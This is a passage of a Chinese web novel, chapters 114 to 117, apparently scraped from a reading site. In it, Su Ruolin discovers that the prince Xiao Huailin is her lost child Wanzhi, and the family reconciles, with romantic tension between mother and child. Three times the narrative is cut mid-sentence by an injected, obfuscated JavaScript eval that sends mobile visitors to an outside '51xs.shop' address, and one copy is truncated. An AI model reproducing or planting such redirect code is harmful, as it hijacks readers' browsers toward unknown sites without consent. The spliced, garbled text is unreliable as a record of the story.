“啊,这样吗?”苏若琳看到青芙闪闪发亮的双眸,微微一愣。 “您有事要找王爷吗,王爷吩咐过,若您有事要找他,可以吩咐奴婢去知会王爷。” “那等我真有事的时候再喊你吧。”苏若琳说着,有些不确定地看着她,“我怎么感觉......你好像有些兴奋?” 青芙笑而不语。 她是真心觉得,王爷和夫人就是天造地设的一对。 其实这些时日以来,萧怀琳也有些犹豫。 心上人难过的样子他看在眼里,疼在心里。 可是除了心疼,他难道还有其他办法吗? 明明母亲苦苦寻找的女儿如今就在她的眼前,可是他们却无法相认。 又或者说,他根本不敢去和母亲相认。 母亲和心上人,两个原本不可能有任何关系的词语,却出现在了同一个人身上,组成了一片名为禁忌的深渊,吞噬掉了他的一切勇气。 他真的害怕,若是他的心上人知晓了一切的真相,会不会对他恨之入骨? 他们甚至连......连那种事,都已经做过了,若是他的心上人知晓了他的真实身份,会不会嫌弃他脏,会不会觉得恶心...... 有太多的如果横在他的心里,而每一个如果,都是一道巨大的沟壑。 那支母亲送给他的珍珠步摇被他找了出来,紧紧握在手里,脑中越想越乱,心情也越来越烦躁。 给起义军的信写了不过一个开头,他认命地放下笔,看着手中的珍珠步摇叹了口气。 这时,外边来报,有关下座城池的战术和部署需要他去裁夺。 “知道了。” 萧怀琳将珍珠步摇重新放到软榻上的包袱里,将案台上的信纸草草一拢,便出了军帐。 临离开时,他还特意问了句:“苏小姐今日可有异样?” 侍卫恭敬道:“回王爷,苏小姐自从前几日和杨二公子单独会面过后,心情好了许多。” 闻言,萧怀琳的原本微皱的眉头登时松了几分。 心情好了,那就好。 他又想起了先前在五十一号当铺买的那个翡翠镯子。 等着今日忙完,再去哄哄她吧,这镯子透得发亮,配她白皙的肌肤真得很适合。 萧怀琳这般想着,渐渐地走远了。 只是他没有想到的是,在他离开军帐以后,苏若琳竟然主动来找他了。 见到她来,侍卫们恭敬地行了个礼:“见过苏小姐。” 苏若琳微微颔首:“你们家王爷在帐里吗?” “回苏小姐,王爷自清晨便去开会了。”侍卫说着,又想着先前王爷的吩咐,“你要找王爷吗?王爷有吩咐,若是您有事找王爷,可以吩咐小的们递话。” 苏若琳的心不由得暖了几分,那混小子还真是的.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725720|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....把所有人都吩咐了一遍,生怕自己再找不到他。 “我没什么事。”她含笑道,“若是这会他不在的话,那我能到军帐里等他吧?” 这哪有不能的呢?全军还有谁不知道王爷对这位都纵容到了什么份上?他们若是得罪了王爷那是难逃一个死,若是得罪了这位...... 那下场可就不是一个死这么简单了。 "那是自然。"侍卫们连忙道,还贴心地帮她把厚重的门帘掀开,“您请。” 苏若琳笑着走进军帐,环顾着帐内四周。 只见萧怀琳的军账里,家具的布置和从前并没有什么区别,方正的大八仙桌上,舆图敞开着,上面的标记比起先前见到的时候更加密集了。 苏若琳凑近舆图细细端详着,先前老爷子手把手教过她如何看舆图,得益于此,如今辨认这些标记并不难。 她依着舆图上的标识,以京城为起点,按照西进的路线这么捋下去。 这么一看,等收复了他们现在的这座城池以后,就还差......四座? 她不由得露出惊讶的神色,原来他们打得这么快吗。 也好,早日收复完余下的五座城池,早日凯旋而归,被突厥奴役的百姓们也能少受些苦难。 而且...... 萧怀琳那小子可是亲口答应她了,最迟在凯旋归京之前,一定会把那些秘密全都对她托盘而出。 这么一想,居然也多了不少盼头了呢。 苏若琳微微一笑,旋即转过身,朝着屏风后的里间走去。 里间的布置也还和从前没什么区别,硬要说不同的话,大抵就是多了个搁置在软榻上的包袱。 望着那软榻上的鹅毛丝绸被褥,她白皙的俏脸不由得一红。 那个时候,她和萧怀琳就是在这床被褥上...... 咳咳咳。 苏若琳连忙使劲摇着头,把这旖旎的想法自脑子里甩出去,她缓缓来到案台前,给自己倒了杯茶水。 然而倒出来的却是奶茶。 她不仅笑出了声,那小子居然也爱喝这甜腻的东西。 也是,他若是不爱喝,又怎么能把方子带到宁安王府里去? 只是这奶茶实在是解不了渴啊。 苏若琳有些无奈地放下茶杯,目光落到案台上的信纸上。 只见最上面的信纸方才写了一个开头,染着黑墨的毛笔草草地斜放在笔山上,砚台上的墨几乎快干了,想来是主人走得匆忙,尚未来得及收拾。 苏若琳饶有兴趣地拿起那张写了一个开头的信纸,细细端详着,说起来,她还从没见过萧怀琳的字迹呢。 但见纸上的字迹遒劲有力、笔走龙蛇,至勾折处,笔锋犀利,丝毫不拖泥带水。 遥想萧怀琳在军中说一不二、杀伐果决的做派,当真是字如其人...... 等等。 苏若琳蓦地瞪大眼睛。 这,这字,这字...... 她的脑中难以抑制地闪过一个画面。 那是安定侯府的一个春日,碧月轩的柳树郁郁葱葱,她那至今失散已有四年的女儿在她温柔的注视下,缓缓提起手中的毛笔,在纸上落下了“婉枝”二字。 字迹神韵超逸,明明是个温婉的女儿家,字里却透着一股风骨和刚毅,叫人见一眼,便永生难忘。 那苍劲有力的字迹落在曾经的苏若琳眼里,叫她明白,这小妮子的书法造诣很高,完全不需要再精进。 而现在,那段遥远记忆透过了四年的光阴,从她尘封的内心深处,被重新惊起。 那笔墨横姿的“婉枝”二字,也逐渐与面前信纸上的字迹重合。 怎,怎么会...... 114. 母女相认 这,这是巧合吗...... 这一定是巧合吧? 苏若琳不断地在心里安慰自己,可当她抬起头的瞬间,软榻上的丝绸包袱里,一支明亮的珍珠步摇映入她的视线。 她的心在霎那间收紧。 苏若琳几乎是跌倒在了软榻上,颤颤巍巍地将手伸进包袱里,捧起那支珍珠步摇。 纯金的步摇内部镂空,上面镶嵌着数只由小珍珠组成的蝴蝶。 和纨枫给她的那一支,和在当铺看到的那一支,和她久远记忆里的那一支,全都一模一样,没有任何的不同。 苏若琳死死地咬着下唇,一阵铁腥味在口中弥漫开来。 她转头,再次看向软榻上那个小而精致的包袱,里面还放着许多的首饰盒子。 苏若琳颤抖着将那些盒子打开,登时,诸多精致的发簪、吊坠、手镯......各种各样的首饰显露出来,在不甚明亮的军帐内绽放出了耀眼的光芒。 全都是她曾经送给她的婉枝的,没有一样例外。 哈哈哈...... 可是,她的婉枝是个香香软软的女儿家,萧怀琳他是个男子啊! 这时,外面忽得想起了侍卫恭敬的声音:“见过王爷。” 是萧怀琳开完会回来了。 他淡淡地“嗯”了一声,伸出那只骨节分明的大手,想要掀开军帐厚重的门帘。 随后便听得身旁的侍卫道:“王爷,苏小姐方才刚进帐里,如今正在里面等您呢。” 那双原本波澜不惊的凤目猛然瞪大。 这本该是一个令人惊喜的好消息,可是这话如今落到萧怀琳的耳中,没有惊喜,只有惊吓。 他的书信和包袱都还没有收起来啊! 萧怀琳连忙掀开门帘向内间跑去,同时祈祷着他的心上人千万不要注意到那些东西。 侍卫刚才是说,若琳是方才才刚进的军帐吧?那她一定来不及看到那些东西吧?只要他快些赶进去…… 已经迟了。 待他来到屏风后面时,他的心上人正一手握着那支罪魁祸首的珍珠步摇,一手拿着他写给起义军的信,看得出神。 萧怀琳的一颗心剧烈地跳动着,不由自主地咽了口唾沫。 知晓他来,苏若琳缓缓抬起头,就这么看着他,无悲无喜,面色平静。 萧怀琳拼尽全力按耐住心里的惊涛骇浪,努力露出一个若无其事的微笑。 “......若琳,你来了。” 话音刚落,眼前那张恬静的绝色面容缓缓破碎,他的心上人红着眼眶,回给了他一个比哭还要难看的笑容。 “怀琳。”苏若琳明明是在笑,出口的声音却是怎么也止不住得颤抖,“你过来。” 萧怀琳迈开长腿,缓步走了过去,每一步都仿佛压着千斤的重量,压得他喘不过气。 不过短短的几步,却仿佛耗尽了他此生全部的力气。 恍惚间,他听到自己这样问道:“怎么了?” 苏若琳将手里的信纸放回到案台上,转而又拿起笔山上的毛笔,塞进了面前人手中。 “你来给我写两个字,好不好?” 萧怀琳的心自接过毛笔的那一瞬间,已然被吊在了悬崖边。 面前人笑得温柔而又悲伤,眼中却满是乞求和痛苦。 “写......”他咽了口唾沫,有些颤抖地抬起那只握着毛笔的手,“写什么?” “婉、枝。”苏若琳目不转睛地看着面前温润如玉的少年郎,一字一顿道,“婉是温婉的婉,枝是树枝的枝。” 即将落下的那只手停滞在了半空,毛笔上沾染的黑墨缓缓滴落在宣纸上,留下了一个浓重的墨点,几乎要将整个案台印透。 萧怀琳的心也自悬崖边上彻底跌落,摔得粉身碎骨。 军帐外忽得传来喊声:“王爷,青芙求见!” 萧怀琳笑得无比勉强:“我出去看看。” “为什么不让青芙进来呢?”苏若琳眼眶通红得看着他,语气却又无比的温柔,“毕竟她也进过一次了,不是么?” 萧怀琳的喉结动了动,他祈求地看着他的心上人,他的心上人也这么看着他,谁都没有开口说话。 良久,萧怀琳深吸了一口气,朝外面道了一声,声音沙哑。 “让她进来。” 此时帐外的青芙心急如焚,比热锅上的蚂蚁还要着急。 今日难得夫人想要见王爷一次,她午前连忙去找王爷,想要撮合两人重归于好。 却不曾想,就在她知会过王爷,再回来以后,夫人竟然又没了! 她将四周都找了个遍,却完全没有找到夫人的踪迹,一种不详的预感陡然升起,并且越来越大。 上次夫人不见的事情至今记忆清晰,即便上次因祸得福,夫人和王爷的关系更近了一步,可这次呢! 她完全不敢冒这个险,心中也越来越惊慌。 此时再听到王爷准许自己进入军帐,青芙登时心一惊,难道王爷也知道夫人消失了吗! 她连忙掀开军帐匆匆走了进去。 “王爷!夫人她......” 然而她的话语在见到萧怀琳身后,那个绝色身影的那一刻,戛然而止。 “夫人。”苏若琳反复地回味着这个称呼,忽地笑了,“夫人她怎么了?” 青芙一双银色面具下的双眸满是惊慌失措,她死死地握紧拳头才不至于让自己颤抖,额头逐渐冒出细密的冷汗。 “......奴婢见过苏小姐。” “苏小姐?”苏若琳笑得嫣然,然而视线却如同坚冰一般,“为何不是夫人了?” “......”青芙沉默不语。 “青夭。”苏若琳冷冷地吐出这个尘封了四年的名字,“跪下!” 她早就该想到的,为何整个宁安王府只有萧怀琳和青芙两个人戴着面具? 因为,当年婉枝正是和青夭一起失踪的啊! 苏若琳话音未落,便听得“扑通”一声,青夭当即跪了下来。 而和她不约而同一起跪下的,是她身前的萧怀琳。 苏若琳倾城的脸上露出了一个无比讽刺的笑容,笑着笑着,眼泪便顺着脸颊滑落。 她缓缓来到萧怀琳身前,颤抖地伸出手,慢慢地、小心翼翼地,摘下面前人脸上的那副银色面具。 待看清面前人的容貌时,她全身一震。 随着“叮”地一声响起,面具掉落到了地上。 萧怀琳眼见着心上人摘下了他的面具,紧紧地闭上双眼,生怕在心上人的脸上见到任何嫌恶亦或讨厌的神情。 他真的害怕,真的害怕看到。 可是过了半晌,听见四周没有任何动静传来,他又急忙睁开眼,生怕心上人发生什么意外情况。 就在他睁开双眸的瞬间,他落入了一个温暖的怀抱。 他的心上人将他紧紧地拥入怀中,炙热的泪水滴落到了他的脖颈上,灼痛了他的肌肤。 “婉枝,我的婉枝......我的婉枝啊!” 他听见他的心上人呜咽着,哭得上气不接下气, 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而在母亲的身边,王爷正安静地坐在榻前,轻轻握着母亲垂出榻边的白皙玉手,出神地看着母亲。 杨纨枫的眼眸中多了几分寒意。 “见过王爷。” 闻言,原本背对着他们的萧怀琳堪堪回过神,侧过脸看了两兄弟一眼,声音中带着些许沙哑。 “起来吧。” 俊俏的面容不过只露出一个侧脸,却叫两兄弟难以置信地瞪大双眸。 但见王爷往日里冷若冰霜的脸上再没有了那凶神恶煞的穷奇面具,露出的脸庞温润如玉,竟是秀气得如同女儿家一般。 像极了他们失踪的大姐......杨婉枝。 怎,怎么会? 杨纨枫猛地看向侍立在一旁的青芙,彼时后者也已经摘下了面具,见到对方的脸,杨纨枫登时明白了一切。 沉默了半晌,杨纨枫缓缓笑了,笑中却无半分喜色。 “......大姐。”他张开口,声音却是无比的艰涩,“好久不见。” 杨纨玦原本对青夭没有什么印象,然而此时一听弟弟的话,也很快了然。 怪不得王爷对母亲这般殷勤,对身为先帝宠臣的他们也予以重用,甚至都不曾设防过。 呵呵呵…… 杨纨玦死死地握紧双拳。 怪不得母亲找了这么多年也寻不到大姐的下落。 谁能想到,昔日里和他们在侯府度过三月有余的长姐,竟然会是男子? 帐内静悄悄的,三个兄弟心思各异,气氛凝固得有些可怕。 忽地,军帐的门帘再次被掀开,祝贤盛架着拐,在侍卫的搀扶下走了进来。 待老爷子见到守在榻边的那张侧脸,本就因急忙奔来而累得发颤那条腿逐渐开始站不稳,青夭眼疾手快地搬了把椅子,扶老爷子坐下。 老爷子看着萧怀琳那张熟悉的侧脸,半晌,重重地叹了口气。 “大夫怎么说的?” “大夫说,是因为受了刺激,大喜大悲才会晕倒,再过一会就能醒了。”萧怀琳目不转睛地看着榻上的心上人,眼中有了片刻的晦暗。 祝贤盛和两兄弟都露出了了然的神色。 大喜大悲啊...... 也是,这要如何不大喜大悲呢。 话音刚落,萧怀琳掌心的纤纤玉手忽地微微动了动,榻上沉睡的人儿发出了一声呻吟,而后缓缓睁开了眼睛。 115. 回不去了 苏若琳觉得自己的意识昏昏沉沉的。 而后逐渐开始变得清明,有关晕倒前的最后一段记忆纷沓而来。 原来她苦苦追寻不得的女儿,其实一直都陪在她的身边。 她不由得想到,这段时日以来,每次在她思念女儿的时候,那孩子都会温声细语地安慰她,温暖她悲伤的内心。 ......他又是怀着怎样的心情说出这些话的? 苏若琳不得而知,但是很多她不明白的谜团,那孩子过往的秘密,不用他主动交代,她也大抵都能明白了。 怪不得那一夜,他明明那般难受,却还能喊出“母亲”。 他喊的,可不就是自己么? 为什么,他的身上能有这么多的伤疤,他人生的前十六年里,究竟都经历过些什么...... 从一个手不能提、肩不能扛的闺阁小姐,变成纵横战场的杀神,居然仅仅只用了三年。 可不就得往死里练吗?! 还有那孩子平日里常用的熏香,那是从前秋姨娘亲手调的啊! 自四年前那孩子失踪以后,秋姨娘便再没有调过这种香味,隔了太久,她竟然都渐渐地给忘了...... 还有那孩子带到宁安王府的奶茶,还有他的口味和爱吃的菜...... 桩桩件件,都有了合理的解释。 意识渐渐地清醒了,她感觉到自己正躺在榻上,一只手正垂在榻边,被一只粗糙而又温暖的大手握在掌心。 一定是那孩子的手吧。 那孩子的手曾经满是冻疮,她用蝶衣铺的膏子养了许久,才把那双小手养得白白嫩嫩。 可是现在,那双手却满是伤疤,再也养不回来了...... 苏若琳睫毛微颤,秀丽的眼眸尚未睁开,两行晶莹的泪珠已先顺着眼角滑落。 “婉枝......” 帐内的众人听到这句几乎是颤抖的呼唤,纷纷紧张地看向榻上缓缓睁开双眼的苏若琳。 萧怀琳的心像是被人狠狠的揪着一般,又拧又疼。 他托着掌心里的玉手抚上自己白皙的脸颊,凑近榻上的心上人,轻声道:“我在。” 苏若琳闻着声音微微侧过头,那张多年来只存在于记忆中的俏脸如今正在她的眼前,附在她掌心的肌肤温暖而又细腻,栩栩如生,活灵活现。 望着面前人担忧的目光,她缓缓露出了一个欣慰的微笑。 她的女儿回来了。 太好了。 即便女儿变成了儿子也没有关系,她的婉枝,永远都是她的婉枝。 正想着,视线里再次出现了两个身影。 杨纨玦和杨纨枫两兄弟凑近来到榻边,关切地看着榻上虚弱的母亲。 “母亲,您怎么样了?” 见到余下两个儿子居然也都来了,苏若琳含笑着轻轻摇头:“我没事。” 她现在很好,比以往任何时候都要好。 她强撑着身下的床榻想要坐起来,奈何刚刚从昏睡中苏醒的身体力不从心,萧怀琳连忙伸出手托起她的后背,扶着她坐起。 末了,又在她身后垫了一个枕头,好让她倚靠得舒服些。 待到苏若琳坐起来以后,这才看到在三个儿子身后不远处,正坐在桌边,低头喝茶的老爷子。 她不由得诧异道:“祝爷爷,您怎么也来了?” 这怎么把老爷子也给惊动了! 祝贤盛轻哼了一声,借着喝茶的动作隐藏起眼中的担忧:“我要是不来,等哪日连白发人送黑发人了都不知道。” “怎么会呢?”苏若琳干笑了两声,本想起身下榻,奈何她又估摸着自己方才坐起都要被人扶着才能起来,这才息了这不自量力的想法。 只好继续心虚地笑道:“您孙女身体好着呢,别的不说,活到给您养老送终肯定是没问题吧?” “你最好是。”祝贤盛抬起头瞪了她一眼。 被老爷子这么一凶,苏若琳不禁瑟缩了一下脖子。 见到原本虚弱得令人心疼的母亲终于绽放出了活力,三个儿子不约而同地松了口气。 果然长辈还得长辈磨。 苏若琳见到榻前的三个儿子皆露出了耐人寻味的笑容,老脸登时一红,轻咳了一声:“内个......你们最近应该都挺忙的吧?” “我这边没什么事了,你们有事就去忙,正事要紧。” 杨纨枫凑近母亲,关切地问道:“您哪里还难受?头可还晕?可犯恶心?” 苏若琳笑着摆手:“早就不难受了,我真没事,休息会就好了。” 说罢,柔和的目光静静地扫过榻前的三人:“倒是你们,再忙也要多注意休息。” 杨纨玦和杨纨枫互相看了对方一眼,目光最后落到了守在坐在母亲身边的萧怀琳身上。 昔日里他们还以为王爷对母亲图谋不轨,可是谁也未曾料到,最后居然会是这样的结果...... 不过两兄弟倒也松了口气,如果他们这位“大姐”对母亲是拳拳寸草春晖之心的话,那就没什么可防备的了。 看样子母亲也是刚得知真相,想来他们“母女”两人定然有许多话要讲。 想到此,杨纨枫敛身行礼:“那儿子就告退了。” 杨纨玦的目光落在萧怀琳轻握着母亲素手的那只大手上,眉头微皱,他总觉得这不太对劲,却又不明白究竟有哪里不对劲。 见到自家弟弟转身要离开,他甩掉心里的疑惑,也随即跟着告退。 待军帐厚重的门帘再次落下,帐内静悄悄的,针落可闻。 祝贤盛冷笑了一声。 两个半大的毛头小子未经人事,即便头脑再聪明、处事再圆滑,也不可能事事都看得明白。 可是他祝贤盛活了大半辈子,什么事没见过? 这混小子当真是好大的胆子,竟敢肖想自己的...... 当朝极重孝道,若是一般人敢行此大逆不道之事,定然会遭千万人唾弃,被人生生地戳碎脊梁骨。 可是面前这个人,却偏偏是当今整个大楚唯一的继承人,他自己就是大楚的脊梁。 若是把他的脊梁骨给戳碎了...... 呵。 从前在侯府授课时,当初那个柔弱的小丫头片子还未显出什么来,如今再见,竟然已经敢以江山做筹,冒天下之大不韪了。 这混账好计谋,也好胆识。 ...... 祝贤盛最后什么都没说。 确定了孙女确实安然无恙,他晦暗不明的目光将守在榻边的少年郎上下打量了一番,最后扶着桌子站了起来,接过侍卫递过来的拐,缓步离开。 行至门前时,他脚步顿了顿,出口的声音夹杂着一丝别样的情绪:“为攻城准备的部署,王爷烦请出来核对一番。” 萧怀琳关切地看着榻上的心上人,仍旧有些不放心,却见榻上的人儿对他笑了笑:“我没事的,你去吧。” 他伸出手,想要轻抚心上人的发顶,然而目光所及心上人慈爱的目光,那只悬在半空中的手却彻底失去了落下去的勇气。 他们已经......回不去了。 ......这样也好,至少,他的心上人不曾厌恶他,他仍旧能陪在心上人的身边。 哪怕是以继子的身份。 “好,若有什么情况您随时知会我。”萧怀琳顿了顿,声音艰涩,“......母亲。” 话落,他转身离开了军帐。 萧怀琳跟随在祝贤盛身后,来到了老爷子的军帐,直到军事部署商谈过半,他才堪堪明白,老爷子醉翁之意不在酒。 商谈正事是假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733720|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,借机敲打他是真。 他不由得苦笑,如今这个情况,他即便还有贼心,也彻底没了贼胆。 能够不被心上人厌恶已经实属不易,他深知,若是此时不能悬崖勒马,那么他的下场就只有一个——坠入深渊,万劫不复。 如今他如履薄冰,冒不起一点风险。 自祝贤盛的军帐出来后,萧怀琳抬头望向午后晴朗的苍穹,长长地舒了一口气。 也是,他本就不该对此过多奢望的。 先前和心上人互诉心肠、亲密接触的那些珍贵记忆,就当做是一场黄粱美梦,就此尘封吧。 萧怀琳这般想着,刚要转身离去,却见到不远处有两个身影正向他这边走来。 他逆着光眯起秀丽的凤目,定睛一看,竟然是杨纨玦和杨纨枫。 但见迎面走来的两个少年脚步稳健,一个腰戴佩剑,一个手握书卷,互相说着什么,忽地,似是说到了什么有趣之处,纷纷都笑了。 温暖的阳光洒落到了少年们身上,给他们增添了明亮而又耀眼的光辉。 萧怀琳静静地看着这一幕,不知怎得,竟升起了一股想要落荒而逃的冲动。 眼前的两人是在母亲的关爱下长大的,就像是迎着光茁壮成长的小树,后来步入仕途也是平步青云、前程似锦,仿佛这一生都合该如此光辉灿烂。 可他呢?在宁安王府的三年里,无论春夏秋冬、无论白昼黑夜,他都被关潮湿得发霉的暗室里,与刀光血影为伴。 运气好了,今日训练不错,便能得到一顿丰盛的晚膳,还有几副金疮药,待他草草地舔舐过身上的伤口,便会被带到烧着碳火的暖阁子里睡上一觉。 可他在王府前两年的时间里,没有一日得到过满意的评价。 于是,他一日最多能得到两个馒头,即便是在大雪纷飞的冬日,也不能得到一床避寒的被褥。 他还记得那些寒冷的日子,院子里下着鹅毛大的雪,他又冷又饿,身上的伤口都已经被冻得不再流血,肌肤各处青一片紫一片,有些部位和关节处鼓起了包,不知是训练是被打的,还是因着太冷被冻的。 可是每当院子里的雪下大了,他却由衷地感到庆幸。 因为他知道,每当这个时候,院子里的那棵橘树便能结果了。 暗室所在的院子里一直种着一颗橘树,到了冬月便会长出果实,金灿灿的,煞是好看。 只要有了这些橘子,他就能在这个冬天里活下来。 迎着寒风长出的橘子又冷又硬,一口咬下去冻到牙根,至于味道,是甜的还是酸的,亦或者是苦的? 早就冻得尝不出味道了。 可即便如此,他仍旧在每一个饥寒交迫的夜里爬到树上,狼吞虎咽地啃掉每一个救命的橘子。 待到树上的橘子被吃干净了,他就知道,他又活下了一个冬天。 在他人生的十六年里,前十三年是低贱的,后三年是肮脏的。 唯有在安定侯府那短短的三个月,成为了他生命中唯一感受到光明和温暖的地方。 可即便是这样的光明和温暖,也是假的。 杨婉枝的名字是假的,安定侯府大小姐的身份是假的,那短暂的三个月幸福,是他这个私生子用虚假的身份偷来的。 就连他如今十七岁的这一年,做的这一场黄粱大梦,也是建立在虚假之上的。 如今,谎言被拆穿,梦也该醒了。 萧怀琳看着逆着光走来的、光风霁月的两兄弟。 明明这两人如今都是他的下属,可和两人一比,他觉得自己竟像一只阴沟里的老鼠。 这般想着,他低下头苦涩地笑了,眼中一闪而过剧烈的痛苦,到底是选择了转过身,逃离这个地方。 可当他刚迈开落荒而逃的步子,却听得身后传来少年们的呼唤:“等一下!” 116. 黄粱美梦 萧怀琳脚步一顿。 他深吸了一口气,尽管心中百感交集,却仍旧要装作成若无其事的模样。 若无其事地转过身,若无其事地露出平淡的模样。 若无其事地问出一句:“怎么了?” 两兄弟互相看了一眼,纷纷露出一副欲言又止的模样。 见状,萧怀琳无所适从的内心更是多了几分慌张。 他们......会不会质问自己为什么会男扮女装,会不会质问自己为什么从前是安定侯府的大小姐,如今却成为了宁安王? 他又该不该解释? 若是解释,这毫无疑问是一件难以启齿的事情;可若是不解释,他自然也有不解释的权力,他是宁安王,他是眼前这两个少年的最上级,他甚至还能命令这两人闭嘴。 可是那样的话,这无疑意味着,他将会和面前的两人...... 决裂。 于情于理,他都不想失去面前的两兄弟,可是他,别无他法...... 这般想着,他原本诚惶诚恐的内心反倒多了几分无畏。 若是有些东西注定要失去,那就让它失去吧,既然无论如何也无法挽回,那么徒留虚假的妄念又有何用处? 最终他长舒了口气,释怀道:“你们有什么想说的,直说吧。” 听此,杨纨玦最终上前道:“是这样的......就是,嗯,我和纨枫商量了一下。” 迎着面前人疑惑的目光,杨纨玦只觉得自己如芒在背:“我......我们,不太清楚您的想法,但是......” 他心一横,眼睛紧闭着,将心里的话一股脑都说了出来。 “若是你愿意,我们几个就自降齿序,喊你一声‘大哥’;若是您不愿,您仍旧是王爷,也不会影响我兄弟二人的忠心。” “您......”杨纨玦迟疑道,“您意下如何?” 萧怀琳当场愣在原地,他完全没想到,面前的两人竟然会是这样的想法。 他们竟还愿意有这样的想法...... 他忽然觉得自己方才的想法很可笑。 “你们不想知道,我为什么从杨婉枝变成了萧怀琳吗?” 两兄弟又互相看了一眼。 “每个人都有自己的秘密,这未必是一件坏事。” 杨纨枫的声音落入萧怀琳的耳中,带他回到了三年前,安定侯府的那个春天。 因着院子里种着一颗很大的柳树,一到春天,碧月轩的院子里总会飘满了柳絮,哪怕丫鬟们打扫得再勤快,也禁不住柳絮时刻不断地往下落。 但好在他们几个孩子都没有柳絮癣,有一次,他们碰巧一起去了母亲的碧月轩,又刚好谈论到了这个话题。 那时母亲是这样说的:“每个人都有自己的秘密,这未必是一件坏事。” “所以,除非是到了万不得已的情况下。”苏若琳挨个揉了揉他们的头,含笑道,“我们都应该尊重别人的秘密。” 而如今,这句被尘封在记忆里的话再次清晰地回荡在他的耳边。 “我们都应该尊重别人的秘密。” “这是母亲曾经亲口教导我们的。”杨纨枫眼中的柔和一如当初母亲温柔的微笑,“只要我们都敬爱着母亲,谨遵母亲从前的教诲,我们就都是母亲的孩子。” “我们就都是兄弟。” 少年秀丽的杏目里闪烁着璀璨的光芒,照亮了萧怀琳原本晦暗的内心。 他不禁低下头,轻轻地笑了。 原来那些温暖和光亮,也并非遥不可及的。 也可以属于他的。 “好。”他听见自己这样回答,“那这声‘大哥’我就不客气了。” 闻言,杨纨玦登时松了口气,脸上露出了如释重负的微笑:“大哥!” 杨纨枫同样含笑道:“大哥。” “不知道等哪天纨岚回来,发现自己从老三变成了老四。”杨纨玦调笑着,眼中却不禁浮现出了思念的神色,“会是个什么心情。” 杨纨枫毫不客气道:“离家出走一年多,连续几月都没有音信的人没资格有意见。” “倒也不能算没有音信吧。”杨纨玦摊了摊手,“直到京城沦陷之前,那小子不是还定期往家里寄信吗?” “那可真是一封信,里边就四个字,‘一切平安’。”杨纨枫冷哼了一声,“可真是难为他还给准备了信纸和信封,就他在纸上画的那些简笔画都比那四个狗爬一样的字内容丰富。” 杨纨玦无奈地笑了。 萧怀琳静静地听着两个弟弟闲谈,眼中却不禁浮现出了思索的神色。 纨岚啊......那小子成为自己暗探的事,看来他没有和家里提起过。 不仅不曾提起,为了避免暴露自己成为暗探的事,他连路上的所见所闻都对家里隐瞒了。 徒留下一封“一切平安”么...... 那可真是,难为那小子了。 正想着,杨纨玦抬起头看了看高照的日头:“我觉得我们该去用午膳了。” “再不去就得被韩龙抢了。” “嗯?”萧怀琳疑惑地看着他,“韩龙会抢你的饭例?” “专抢我的。”杨纨玦无奈地耸了耸肩,“有一次我忙着带兵,晚回去了半个时辰,再回军帐的时候,他刚好端着我的饭菜出来。” 他的兄长和弟弟都不由得笑出了声。 萧怀琳忍俊不禁道:“回头我就命令他不许抢你的饭。” “那咱们走吧。”杨纨枫秀气的眉眼弯成了好看的月牙。 “走。” 兄弟三人并列走在一起,正午的阳光洒下,为三位大楚未来的栋梁加冕了一层耀眼的勋章。 · 用过午膳之后,三个少年又干脆凑到一起商议了一下有关下座城池的攻打和部署。 这还是兄弟三人第一次聚在一起谈论某件事,从战略兵法到军务政事,三兄弟各占一个角度,互相补足,刚好能够拟定出一个几乎完美无瑕的方案。 萧怀琳由衷地感到庆幸。 幸好两个弟弟愿意接纳他,否则痛失了这两员大将,对萧军的损失将是致命的。 就这样,在三兄弟的齐心协力下,萧军再次拿下了两座城池,距离凯旋而归又进了一步。 自那日开诚布公的彻谈之后,杨纨玦和杨纨枫再没有提防大哥对母亲心怀不轨,而苏若琳却是对失而复得的“女儿”更加的关心,关心到了几乎是事无巨细的地步。 从他早晨何时睡醒,何时离帐,去哪开会和练兵,都打听得清清楚楚。 这其中也有青夭的部分功劳,她乐得见夫人关心王爷,更庆幸夫人并未疏远王爷、也并未提防他,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心上人的指尖像是小猫的爪子,而他的心则是猫爪下的毛球,被有一搭没一搭地玩弄着。 “婉枝?”心上人的声音唤回了他的神智,“你怎么在发抖?” 苏若琳疑惑地看着那道痂皮都只剩下狭小一块的伤口,不应该啊...... 都好到这种地步了,没道理还会痛啊? 然而她哪里知道,面前人并不是痛,而是痒。 伤口处的痂皮在养,身上的伤口也在痒。 痒得难以抑制,痒得饥渴难耐。 他要如何不渴望? 终于,在苏若琳确定了眼前人的伤口不再需要包扎,正打算收回手的时候,她纤细的手腕被面前人粗糙的手掌扼住。 她抬起头疑惑地看向眼前人,却见到对方一双秀丽的凤目里,填满了炽热的渴望。 那渴望是那样的纯粹,那样的浓烈,像是一团熊熊燃烧的火焰,扑不灭、浇不尽,周而复始,生生不息。 苏若琳被吓了一跳。 而后,她便听到面前人低喃道:“若琳......” 声音沙哑,竟还带着几分颤抖。 117. 敌袭 